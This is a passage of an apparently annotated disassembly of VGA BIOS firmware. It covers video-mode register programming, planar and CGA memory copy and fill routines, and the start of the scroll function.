46 mov byte [bp-00eh], al ; 88 46 f2 mov bl, al ; 88 c3 xor bh, bh ; 30 ff sal bx, 006h ; c1 e3 06 mov al, byte [bx+046c3h] ; 8a 87 c3 46 xor ah, ah ; 30 e4 mov word [bp-016h], ax ; 89 46 ea mov al, byte [bx+046c4h] ; 8a 87 c4 46 mov word [bp-014h], ax ; 89 46 ec mov al, byte [bx+046c5h] ; 8a 87 c5 46 mov word [bp-018h], ax ; 89 46 e8 mov dx, 00087h ; ba 87 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 ee 20 mov dx, 00088h ; ba 88 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 e5 20 mov dx, 00089h ; ba 89 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 dc 20 mov cl, al ; 88 c1 test AL, strict byte 008h ; a8 08 jne short 010f7h ; 75 45 mov bx, word [bp-01ch] ; 8b 5e e4 sal bx, 003h ; c1 e3 03 mov al, byte [bx+04635h] ; 8a 87 35 46 mov dx, 003c6h ; ba c6 03 out DX, AL ; ee xor al, al ; 30 c0 mov dx, 003c8h ; ba c8 03 out DX, AL ; ee mov bl, byte [bx+04636h] ; 8a 9f 36 46 cmp bl, 001h ; 80 fb 01 jc short 010ddh ; 72 0e jbe short 010e6h ; 76 15 cmp bl, 003h ; 80 fb 03 je short 010f0h ; 74 1a cmp bl, 002h ; 80 fb 02 je short 010ebh ; 74 10 jmp short 010f3h ; eb 16 test bl, bl ; 84 db jne short 010f3h ; 75 12 mov di, 04e43h ; bf 43 4e jmp short 010f3h ; eb 0d mov di, 04f03h ; bf 03 4f jmp short 010f3h ; eb 08 mov di, 04fc3h ; bf c3 4f jmp short 010f3h ; eb 03 mov di, 05083h ; bf 83 50 xor bx, bx ; 31 db jmp short 010ffh ; eb 08 jmp short 01144h ; eb 4b cmp bx, 00100h ; 81 fb 00 01 jnc short 01137h ; 73 38 mov al, byte [bp-010h] ; 8a 46 f0 xor ah, ah ; 30 e4 mov si, ax ; 89 c6 sal si, 003h ; c1 e6 03 mov al, byte [si+04636h] ; 8a 84 36 46 mov si, ax ; 89 c6 mov al, byte [si+046bfh] ; 8a 84 bf 46 cmp bx, ax ; 39 c3 jnbe short 0112ch ; 77 15 imul si, bx, strict byte 00003h ; 6b f3 03 add si, di ; 01 fe mov al, byte [si] ; 8a 04 mov dx, 003c9h ; ba c9 03 out DX, AL ; ee mov al, byte [si+001h] ; 8a 44 01 out DX, AL ; ee mov al, byte [si+002h] ; 8a 44 02 out DX, AL ; ee jmp short 01134h ; eb 08 xor al, al ; 30 c0 mov dx, 003c9h ; ba c9 03 out DX, AL ; ee out DX, AL ; ee out DX, AL ; ee inc bx ; 43 jmp short 010f9h ; eb c2 test cl, 002h ; f6 c1 02 je short 01144h ; 74 08 mov dx, 00100h ; ba 00 01 xor ax, ax ; 31 c0 call 00d3eh ; e8 fa fb mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor bx, bx ; 31 db jmp short 01153h ; eb 05 cmp bx, strict byte 00013h ; 83 fb 13 jnbe short 0116dh ; 77 1a mov al, bl ; 88 d8 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov al, byte [bp-00eh] ; 8a 46 f2 xor ah, ah ; 30 e4 mov si, ax ; 89 c6 sal si, 006h ; c1 e6 06 add si, bx ; 01 de mov al, byte [si+046e6h] ; 8a 84 e6 46 out DX, AL ; ee inc bx ; 43 jmp short 0114eh ; eb e1 mov AL, strict byte 014h ; b0 14 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee xor al, al ; 30 c0 out DX, AL ; ee mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov AL, strict byte 003h ; b0 03 mov dx, 003c5h ; ba c5 03 out DX, AL ; ee mov bx, strict word 00001h ; bb 01 00 jmp short 0118ah ; eb 05 cmp bx, strict byte 00004h ; 83 fb 04 jnbe short 011a7h ; 77 1d mov al, bl ; 88 d8 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov al, byte [bp-00eh] ; 8a 46 f2 xor ah, ah ; 30 e4 mov si, ax ; 89 c6 sal si, 006h ; c1 e6 06 add si, bx ; 01 de mov al, byte [si+046c7h] ; 8a 84 c7 46 mov dx, 003c5h ; ba c5 03 out DX, AL ; ee inc bx ; 43 jmp short 01185h ; eb de xor bx, bx ; 31 db jmp short 011b0h ; eb 05 cmp bx, strict byte 00008h ; 83 fb 08 jnbe short 011cdh ; 77 1d mov al, bl ; 88 d8 mov dx, 003ceh ; ba ce 03 out DX, AL ; ee mov al, byte [bp-00eh] ; 8a 46 f2 xor ah, ah ; 30 e4 mov si, ax ; 89 c6 sal si, 006h ; c1 e6 06 add si, bx ; 01 de mov al, byte [si+046fah] ; 8a 84 fa 46 mov dx, 003cfh ; ba cf 03 out DX, AL ; ee inc bx ; 43 jmp short 011abh ; eb de mov bl, byte [bp-010h] ; 8a 5e f0 xor bh, bh ; 30 ff sal bx, 003h ; c1 e3 03 cmp byte [bx+04631h], 001h ; 80 bf 31 46 01 jne short 011e1h ; 75 05 mov dx, 003b4h ; ba b4 03 jmp short 011e4h ; eb 03 mov dx, 003d4h ; ba d4 03 mov si, dx ; 89 d6 mov ax, strict word 00011h ; b8 11 00 out DX, ax ; ef xor bx, bx ; 31 db jmp short 011f3h ; eb 05 cmp bx, strict byte 00018h ; 83 fb 18 jnbe short 01211h ; 77 1e mov al, bl ; 88 d8 mov dx, si ; 89 f2 out DX, AL ; ee mov al, byte [bp-00eh] ; 8a 46 f2 xor ah, ah ; 30 e4 mov cx, ax ; 89 c1 sal cx, 006h ; c1 e1 06 mov di, cx ; 89 cf add di, bx ; 01 df lea dx, [si+001h] ; 8d 54 01 mov al, byte [di+046cdh] ; 8a 85 cd 46 out DX, AL ; ee inc bx ; 43 jmp short 011eeh ; eb dd mov bx, cx ; 89 cb mov al, byte [bx+046cch] ; 8a 87 cc 46 mov dx, 003c2h ; ba c2 03 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 cmp byte [bp-012h], 000h ; 80 7e ee 00 jne short 0128dh ; 75 60 mov bl, byte [bp-010h] ; 8a 5e f0 xor bh, ch ; 30 ef sal bx, 003h ; c1 e3 03 cmp byte [bx+04630h], 000h ; 80 bf 30 46 00 jne short 0124fh ; 75 13 mov es, [bx+04633h] ; 8e 87 33 46 mov cx, 04000h ; b9 00 40 mov ax, 00720h ; b8 20 07 xor di, di ; 31 ff cld ; fc jcxz 0124dh ; e3 02 rep stosw ; f3 ab jmp short 0128dh ; eb 3e cmp byte [bp-00ch], 00dh ; 80 7e f4 0d jnc short 01267h ; 73 12 mov es, [bx+04633h] ; 8e 87 33 46 mov cx, 04000h ; b9 00 40 xor ax, ax ; 31 c0 xor di, di ; 31 ff cld ; fc jcxz 01265h ; e3 02 rep stosw ; f3 ab jmp short 0128dh ; eb 26 mov AL, strict byte 002h ; b0 02 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov dx, 003c5h ; ba c5 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov word [bp-01eh], ax ; 89 46 e2 mov AL, strict byte 00fh ; b0 0f out DX, AL ; ee mov es, [bx+04633h] ; 8e 87 33 46 mov cx, 08000h ; b9 00 80 xor ax, ax ; 31 c0 xor di, di ; 31 ff cld ; fc jcxz 01289h ; e3 02 rep stosw ; f3 ab mov al, byte [bp-01eh] ; 8a 46 e2 out DX, AL ; ee mov al, byte [bp-00ch] ; 8a 46 f4 mov byte [bp-01ah], al ; 88 46 e6 mov byte [bp-019h], 000h ; c6 46 e7 00 mov bx, word [bp-01ah] ; 8b 5e e6 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 f3 1e mov bx, word [bp-016h] ; 8b 5e ea mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 03 1f mov bl, byte [bp-00eh] ; 8a 5e f2 xor bh, bh ; 30 ff sal bx, 006h ; c1 e3 06 mov bx, word [bx+046c6h] ; 8b 9f c6 46 mov dx, strict word 0004ch ; ba 4c 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 ee 1e mov bx, si ; 89 f3 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 e3 1e mov bl, byte [bp-014h] ; 8a 5e ec xor bh, bh ; 30 ff mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 b9 1e mov bx, word [bp-018h] ; 8b 5e e8 mov dx, 00085h ; ba 85 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 c9 1e mov bl, byte [bp-012h] ; 8a 5e ee or bl, 060h ; 80 cb 60 xor bh, bh ; 30 ff mov dx, 00087h ; ba 87 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 9c 1e mov bx, 000f9h ; bb f9 00 mov dx, 00088h ; ba 88 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 90 1e mov dx, 00089h ; ba 89 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 79 1e mov bl, al ; 88 c3 and bl, 07fh ; 80 e3 7f xor bh, bh ; 30 ff mov dx, 00089h ; ba 89 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 77 1e mov bx, strict word 00008h ; bb 08 00 mov dx, 0008ah ; ba 8a 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 6b 1e mov cx, ds ; 8c d9 mov bx, 053d1h ; bb d1 53 mov dx, 000a8h ; ba a8 00 mov ax, strict word 00040h ; b8 40 00 call 031d2h ; e8 99 1e cmp byte [bp-00ch], 007h ; 80 7e f4 07 jnbe short 0136ah ; 77 2b mov bx, word [bp-01ah] ; 8b 5e e6 mov bl, byte [bx+07c5eh] ; 8a 9f 5e 7c xor bh, bh ; 30 ff mov dx, strict word 00065h ; ba 65 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 45 1e cmp byte [bp-00ch], 006h ; 80 7e f4 06 jne short 0135ch ; 75 05 mov bx, strict word 0003fh ; bb 3f 00 jmp short 0135fh ; eb 03 mov bx, strict word 00030h ; bb 30 00 xor bh, bh ; 30 ff mov dx, strict word 00066h ; ba 66 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 2c 1e mov bl, byte [bp-010h] ; 8a 5e f0 xor bh, bh ; 30 ff sal bx, 003h ; c1 e3 03 cmp byte [bx+04630h], 000h ; 80 bf 30 46 00 jne short 01382h ; 75 09 mov dx, strict word 00007h ; ba 07 00 mov ax, strict word 00006h ; b8 06 00 call 00dcbh ; e8 49 fa xor bx, bx ; 31 db jmp short 0138bh ; eb 05 cmp bx, strict byte 00008h ; 83 fb 08 jnc short 01397h ; 73 0c mov al, bl ; 88 d8 xor ah, ah ; 30 e4 xor dx, dx ; 31 d2 call 00e79h ; e8 e5 fa inc bx ; 43 jmp short 01386h ; eb ef xor ax, ax ; 31 c0 call 00f2eh ; e8 92 fb mov bl, byte [bp-010h] ; 8a 5e f0 xor bh, bh ; 30 ff sal bx, 003h ; c1 e3 03 cmp byte [bx+04630h], 000h ; 80 bf 30 46 00 jne short 013bbh ; 75 10 xor bl, bl ; 30 db mov AL, strict byte 004h ; b0 04 mov AH, strict byte 011h ; b4 11 int 010h ; cd 10 xor bl, bl ; 30 db mov AL, strict byte 003h ; b0 03 mov AH, strict byte 011h ; b4 11 int 010h ; cd 10 mov dx, 057edh ; ba ed 57 mov ax, strict word 0001fh ; b8 1f 00 call 00a00h ; e8 3c f6 mov ax, word [bp-018h] ; 8b 46 e8 cmp ax, strict word 00010h ; 3d 10 00 je short 013e6h ; 74 1a cmp ax, strict word 0000eh ; 3d 0e 00 je short 013e1h ; 74 10 cmp ax, strict word 00008h ; 3d 08 00 jne short 013ebh ; 75 15 mov dx, 053edh ; ba ed 53 mov ax, strict word 00043h ; b8 43 00 call 00a00h ; e8 21 f6 jmp short 013ebh ; eb 0a mov dx, 05bedh ; ba ed 5b jmp short 013d9h ; eb f3 mov dx, 069edh ; ba ed 69 jmp short 013d9h ; eb ee lea sp, [bp-00ah] ; 8d 66 f6 pop di ; 5f pop si ; 5e pop dx ; 5a pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 vgamem_copy_pl4_: ; 0xc13f5 LB 0x8f push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 0000ah ; 83 ec 0a mov byte [bp-008h], al ; 88 46 f8 mov al, dl ; 88 d0 mov byte [bp-00ah], bl ; 88 5e f6 mov byte [bp-006h], cl ; 88 4e fa xor ah, ah ; 30 e4 mov dl, byte [bp+006h] ; 8a 56 06 xor dh, dh ; 30 f6 mov cx, dx ; 89 d1 imul dx ; f7 ea mov dl, byte [bp+004h] ; 8a 56 04 xor dh, dh ; 30 f6 mov si, dx ; 89 d6 imul dx ; f7 ea mov dl, byte [bp-008h] ; 8a 56 f8 xor dh, dh ; 30 f6 mov bx, dx ; 89 d3 add ax, dx ; 01 d0 mov word [bp-00eh], ax ; 89 46 f2 mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 imul cx ; f7 e9 imul si ; f7 ee add ax, bx ; 01 d8 mov word [bp-00ch], ax ; 89 46 f4 mov ax, 00105h ; b8 05 01 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef xor bl, bl ; 30 db cmp bl, byte [bp+006h] ; 3a 5e 06 jnc short 01474h ; 73 30 mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 mov cx, ax ; 89 c1 mov al, bl ; 88 d8 mov dx, ax ; 89 c2 mov al, byte [bp+004h] ; 8a 46 04 mov si, ax ; 89 c6 mov ax, dx ; 89 d0 imul si ; f7 ee mov si, word [bp-00eh] ; 8b 76 f2 add si, ax ; 01 c6 mov di, word [bp-00ch] ; 8b 7e f4 add di, ax ; 01 c7 mov dx, 0a000h ; ba 00 a0 mov es, dx ; 8e c2 cld ; fc jcxz 01470h ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f db 0feh, 0c3h ; inc bl ; fe c3 jmp short 0143fh ; eb cb mov ax, strict word 00005h ; b8 05 00 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00004h ; c2 04 00 vgamem_fill_pl4_: ; 0xc1484 LB 0x7c push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00006h ; 83 ec 06 mov byte [bp-008h], al ; 88 46 f8 mov al, dl ; 88 d0 mov byte [bp-006h], bl ; 88 5e fa mov bh, cl ; 88 cf xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 mov al, byte [bp+004h] ; 8a 46 04 mov cx, ax ; 89 c1 mov ax, dx ; 89 d0 imul cx ; f7 e9 mov dl, bh ; 88 fa xor dh, dh ; 30 f6 imul dx ; f7 ea mov dx, ax ; 89 c2 mov al, byte [bp-008h] ; 8a 46 f8 xor ah, ah ; 30 e4 add dx, ax ; 01 c2 mov word [bp-00ah], dx ; 89 56 f6 mov ax, 00205h ; b8 05 02 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef xor bl, bl ; 30 db cmp bl, byte [bp+004h] ; 3a 5e 04 jnc short 014f0h ; 73 2d mov cl, byte [bp-006h] ; 8a 4e fa xor ch, ch ; 30 ed mov al, byte [bp+006h] ; 8a 46 06 xor ah, ah ; 30 e4 mov si, ax ; 89 c6 mov al, bl ; 88 d8 mov dx, ax ; 89 c2 mov al, bh ; 88 f8 mov di, ax ; 89 c7 mov ax, dx ; 89 d0 imul di ; f7 ef mov di, word [bp-00ah] ; 8b 7e f6 add di, ax ; 01 c7 mov ax, si ; 89 f0 mov dx, 0a000h ; ba 00 a0 mov es, dx ; 8e c2 cld ; fc jcxz 014ech ; e3 02 rep stosb ; f3 aa db 0feh, 0c3h ; inc bl ; fe c3 jmp short 014beh ; eb ce mov ax, strict word 00005h ; b8 05 00 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00004h ; c2 04 00 vgamem_copy_cga_: ; 0xc1500 LB 0xc2 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00008h ; 83 ec 08 mov byte [bp-006h], al ; 88 46 fa mov al, dl ; 88 d0 mov bh, cl ; 88 cf xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 mov al, byte [bp+006h] ; 8a 46 06 mov cx, ax ; 89 c1 mov ax, dx ; 89 d0 imul cx ; f7 e9 mov dl, byte [bp+004h] ; 8a 56 04 xor dh, dh ; 30 f6 mov di, dx ; 89 d7 imul dx ; f7 ea mov dx, ax ; 89 c2 sar dx, 1 ; d1 fa mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 mov si, ax ; 89 c6 add dx, ax ; 01 c2 mov word [bp-008h], dx ; 89 56 f8 mov al, bl ; 88 d8 imul cx ; f7 e9 imul di ; f7 ef sar ax, 1 ; d1 f8 add ax, si ; 01 f0 mov word [bp-00ah], ax ; 89 46 f6 xor bl, bl ; 30 db cmp bl, byte [bp+006h] ; 3a 5e 06 jnc short 015b9h ; 73 70 test bl, 001h ; f6 c3 01 je short 01585h ; 74 37 mov cl, bh ; 88 f9 xor ch, ch ; 30 ed mov al, bl ; 88 d8 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 sar dx, 1 ; d1 fa mov al, byte [bp+004h] ; 8a 46 04 mov si, ax ; 89 c6 mov ax, dx ; 89 d0 imul si ; f7 ee mov si, word [bp-008h] ; 8b 76 f8 add si, 02000h ; 81 c6 00 20 add si, ax ; 01 c6 mov di, word [bp-00ah] ; 8b 7e f6 add di, 02000h ; 81 c7 00 20 add di, ax ; 01 c7 mov dx, 0b800h ; ba 00 b8 mov es, dx ; 8e c2 cld ; fc jcxz 01583h ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f jmp short 015b5h ; eb 30 mov al, bh ; 88 f8 xor ah, ah ; 30 e4 mov cx, ax ; 89 c1 mov al, bl ; 88 d8 sar ax, 1 ; d1 f8 mov dl, byte [bp+004h] ; 8a 56 04 mov byte [bp-00ch], dl ; 88 56 f4 mov byte [bp-00bh], ch ; 88 6e f5 mov dx, word [bp-00ch] ; 8b 56 f4 imul dx ; f7 ea mov si, word [bp-008h] ; 8b 76 f8 add si, ax ; 01 c6 mov di, word [bp-00ah] ; 8b 7e f6 add di, ax ; 01 c7 mov dx, 0b800h ; ba 00 b8 mov es, dx ; 8e c2 cld ; fc jcxz 015b5h ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f db 0feh, 0c3h ; inc bl ; fe c3 jmp short 01544h ; eb 8b lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00004h ; c2 04 00 vgamem_fill_cga_: ; 0xc15c2 LB 0xa8 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00006h ; 83 ec 06 mov byte [bp-006h], al ; 88 46 fa mov al, dl ; 88 d0 mov byte [bp-008h], bl ; 88 5e f8 mov bh, cl ; 88 cf xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 mov al, byte [bp+004h] ; 8a 46 04 mov cx, ax ; 89 c1 mov ax, dx ; 89 d0 imul cx ; f7 e9 mov dl, bh ; 88 fa xor dh, dh ; 30 f6 imul dx ; f7 ea mov dx, ax ; 89 c2 sar dx, 1 ; d1 fa mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 add dx, ax ; 01 c2 mov word [bp-00ah], dx ; 89 56 f6 xor bl, bl ; 30 db cmp bl, byte [bp+004h] ; 3a 5e 04 jnc short 01661h ; 73 65 test bl, 001h ; f6 c3 01 je short 01632h ; 74 31 mov al, byte [bp-008h] ; 8a 46 f8 xor ah, ah ; 30 e4 mov cx, ax ; 89 c1 mov al, byte [bp+006h] ; 8a 46 06 mov si, ax ; 89 c6 mov al, bl ; 88 d8 mov dx, ax ; 89 c2 sar dx, 1 ; d1 fa mov al, bh ; 88 f8 mov di, ax ; 89 c7 mov ax, dx ; 89 d0 imul di ; f7 ef mov di, word [bp-00ah] ; 8b 7e f6 add di, 02000h ; 81 c7 00 20 add di, ax ; 01 c7 mov ax, si ; 89 f0 mov dx, 0b800h ; ba 00 b8 mov es, dx ; 8e c2 cld ; fc jcxz 01630h ; e3 02 rep stosb ; f3 aa jmp short 0165dh ; eb 2b mov al, byte [bp-008h] ; 8a 46 f8 xor ah, ah ; 30 e4 mov cx, ax ; 89 c1 mov al, byte [bp+006h] ; 8a 46 06 mov si, ax ; 89 c6 mov al, bl ; 88 d8 mov dx, ax ; 89 c2 sar dx, 1 ; d1 fa mov al, bh ; 88 f8 mov di, ax ; 89 c7 mov ax, dx ; 89 d0 imul di ; f7 ef mov di, word [bp-00ah] ; 8b 7e f6 add di, ax ; 01 c7 mov ax, si ; 89 f0 mov dx, 0b800h ; ba 00 b8 mov es, dx ; 8e c2 cld ; fc jcxz 0165dh ; e3 02 rep stosb ; f3 aa db 0feh, 0c3h ; inc bl ; fe c3 jmp short 015f7h ; eb 96 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00004h ; c2 04 00 biosfn_scroll_: ; 0xc166a LB 0x55a push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 0001ah ; 83 ec 1a mov byte [bp-006h], al ; 88 46 fa mov byte [bp-010h], dl ; 88 56 f0 mov byte [bp-00ah], bl ; 88 5e f6 mov byte [bp-008h], cl ; 88 4e f8 cmp bl, byte [bp+004h] ; 3a 5e 04 jnbe short 0169dh ; 77 1a cmp cl, byte [bp+006h] ; 3a 4e 06 jnbe short 0169dh ; 77 15 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 f7 1a xor ah, ah ; 30 e4 call 03160h ; e8 ca 1a mov byte [bp-00ch], al ; 88 46 f4 cmp AL, strict byte 0ffh ; 3c ff jne short 016a0h ; 75 03 jmp near 01bbbh ; e9 1b 05 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 df 1a xor ah, ah ; 30 e4 mov cx, ax ; 89 c1 inc cx ; 41 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 ed 1a mov word [bp-018h], ax ; 89 46 e8 cmp byte [bp+008h], 0ffh ; 80 7e 08 ff jne short 016cch ; 75 0c mov dx, strict word 00062h ; ba 62 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 bf 1a mov byte [bp+008h], al ; 88 46 08 mov al, byte [bp+004h] ; 8a 46 04 xor ah, ah ; 30 e4 cmp ax, cx ; 39 c8 jc short 016dch ; 72 07 mov al, cl ; 88 c8 db 0feh, 0c8h ; dec al ; fe c8 mov byte [bp+004h], al ; 88 46 04 mov al, byte [bp+006h] ; 8a 46 06 xor ah, ah ; 30 e4 cmp ax, word [bp-018h] ; 3b 46 e8 jc short 016eeh ; 72 08 mov al, byte [bp-018h] ; 8a 46 e8 db 0feh, 0c8h ; dec al ; fe c8 mov byte [bp+006h], al ; 88 46 06 mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 cmp ax, cx ; 39 c8 jbe short 016fah ; 76 03 mov byte [bp-006h], ah ; 88 66 fa mov al, byte [bp+006h] ; 8a 46 06 sub al, byte [bp-008h] ; 2a 46 f8 db 0feh, 0c0h ; inc al ; fe c0 mov byte [bp-00eh], al ; 88 46 f2 mov bl, byte [bp-00ch] ; 8a 5e f4 xor bh, bh ; 30 ff mov di, bx ; 89 df sal di, 003h ; c1 e7 03 mov ax, word [bp-018h] ; 8b 46 e8 dec ax ; 48 mov word [bp-01ah], ax ; 89 46 e6 mov ax, cx ; 89 c8 dec ax ; 48 mov word [bp-01ch], ax ; 89 46 e4 mov ax, word [bp-018h] ; 8b 46 e8 mul cx ; f7 e1 mov si, ax ; 89 c6 cmp byte [di+04630h], 000h ; 80 bd 30 46 00 jne short 0177bh ; 75 51 add ax, ax ; 01 c0 or AL, strict byte 0ffh ; 0c ff mov dx, ax ; 89 c2 mov al, byte [bp+008h] ; 8a 46 08 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov ax, dx ; 89 d0 inc ax ; 40 mul bx ; f7 e3 mov bx, ax ; 89 c3 cmp byte [bp-006h], 000h ; 80 7e fa 00 jne short 0177eh ; 75 3a cmp byte [bp-00ah], 000h ; 80 7e f6 00 jne short 0177eh ; 75 34 cmp byte [bp-008h], 000h ; 80 7e f8 00 jne short 0177eh ; 75 2e mov al, byte [bp+004h] ; 8a 46 04 xor ah, ah ; 30 e4 cmp ax, word [bp-01ch] ; 3b 46 e4 jne short 0177eh ; 75 24 mov al, byte [bp+006h] ; 8a 46 06 cmp ax, word [bp-01ah] ; 3b 46 e6 jne short 0177eh ; 75 1c mov al, byte [bp-010h] ; 8a 46 f0 sal ax, 008h ; c1 e0 08 add ax, strict word 00020h ; 05 20 00 mov es, [di+04633h] ; 8e 85 33 46 mov cx, si ; 89 f1 mov di, bx ; 89 df cld ; fc jcxz 01778h ; e3 02 rep stosw ; f3 ab jmp near 01bbbh ; e9 40 04 jmp near 018f9h ; e9 7b 01 cmp byte [bp+00ah], 001h ; 80 7e 0a 01 jne short 017e8h ; 75 64 mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 mov word [bp-016h], ax ; 89 46 ea mov dl, byte [bp+004h] ; 8a 56 04 xor dh, dh ; 30 f6 cmp dx, word [bp-016h] ; 3b 56 ea jc short 017eah ; 72 54 mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 add ax, word [bp-016h] ; 03 46 ea cmp ax, dx ; 39 d0 jnbe short 017a8h ; 77 06 cmp byte [bp-006h], 000h ; 80 7e fa 00 jne short 017edh ; 75 45 mov al, byte [bp-00eh] ; 8a 46 f2 xor ah, ah ; 30 e4 mov cx, ax ; 89 c1 mov al, byte [bp-010h] ; 8a 46 f0 sal ax, 008h ; c1 e0 08 add ax, strict word 00020h ; 05 20 00 mov word [bp-01eh], ax ; 89 46 e2 mov ax, word [bp-016h] ; 8b 46 ea mul word [bp-018h] ; f7 66 e8 mov dx, ax ; 89 c2 mov al, byte [bp-008h] ; 8a 46 f8 xor ah, ah ; 30 e4 add ax, dx ; 01 d0 add ax, ax ; 01 c0 mov di, bx ; 89 df add di, ax ; 01 c7 mov al, byte [bp-00ch] ; 8a 46 f4 xor ah, ah ; 30 e4 mov si, ax ; 89 c6 sal si, 003h ; c1 e6 03 mov es, [si+04633h] ; 8e 84 33 46 mov ax, word [bp-01eh] ; 8b 46 e2 cld ; fc jcxz 017e6h ; e3 02 rep stosw ; f3 ab jmp short 01831h ; eb 49 jmp short 01837h ; eb 4d jmp near 01bbbh ; e9 ce 03 mov dl, byte [bp-00eh] ; 8a 56 f2 mov cx, dx ; 89 d1 mul word [bp-018h] ; f7 66 e8 mov dx, ax ; 89 c2 mov al, byte [bp-008h] ; 8a 46 f8 xor ah, ah ; 30 e4 mov di, ax ; 89 c7 add dx, ax ; 01 c2 add dx, dx ; 01 d2 mov word [bp-014h], dx ; 89 56 ec mov al, byte [bp-00ch] ; 8a 46 f4 mov si, ax ; 89 c6 sal si, 003h ; c1 e6 03 mov ax, word [si+04633h] ; 8b 84 33 46 mov word [bp-01eh], ax ; 89 46 e2 mov ax, word [bp-016h] ; 8b 46 ea mul word [bp-018h] ; f7 66 e8 add di, ax ; 01 c7 add di, di ; 01 ff add di, bx ; 01 df mov si, word [bp-014h] ; 8b 76 ec mov dx, word [bp-01eh] ; 8b 56 e2 mov es, dx ; 8e c2 cld ; fc jcxz 01831h ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsw ; f3 a5 pop DS ; 1f inc word [bp-016h] ; ff 46 ea jmp near 0178ch ; e9 55 ff mov al, byte [bp+004h] ; 8a 46 04 xor ah, ah ; 30 e4 mov word [bp-016h], ax ; 89 46 ea mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 cmp ax, word [bp-016h] ; 3b 46 ea jnbe short 017eah ; 77 a1 mov dx, ax ; 89 c2 mov al, byte [bp-006h] ; 8a 46 fa add dx, ax ; 01 c2 cmp dx, word [bp-016h] ; 3b 56 ea jnbe short 01859h ; 77 04 test al, al ; 84 c0 jne short 01897h ; 75 3e mov al, byte [bp-00eh] ; 8a 46 f2 xor ah, ah ; 30 e4 mov cx, ax ; 89 c1 mov al, byte [bp-010h] ; 8a 46 f0 sal ax, 008h ; c1 e0 08 add ax, strict word 00020h ; 05 20 00 mov word [bp-01eh], ax ; 89 46 e2 mov ax, word [bp-016h] ; 8b 46 ea mul word [bp-018h] ; f7 66 e8 mov dx, ax ; 89 c2 mov al, byte [bp-008h] ; 8a 46 f8 xor ah, ah ; 30 e4 add dx, ax ; 01 c2 add dx, dx ; 01 d2 mov di, bx ; 89 df add di, dx ; 01 d7 mov al, byte [bp-00ch] ; 8a 46 f4 mov si, ax ; 89 c6 sal si, 003h ; c1 e6 03 mov es, [si+04633h] ; 8e 84 33 46 mov ax, word [bp-01eh] 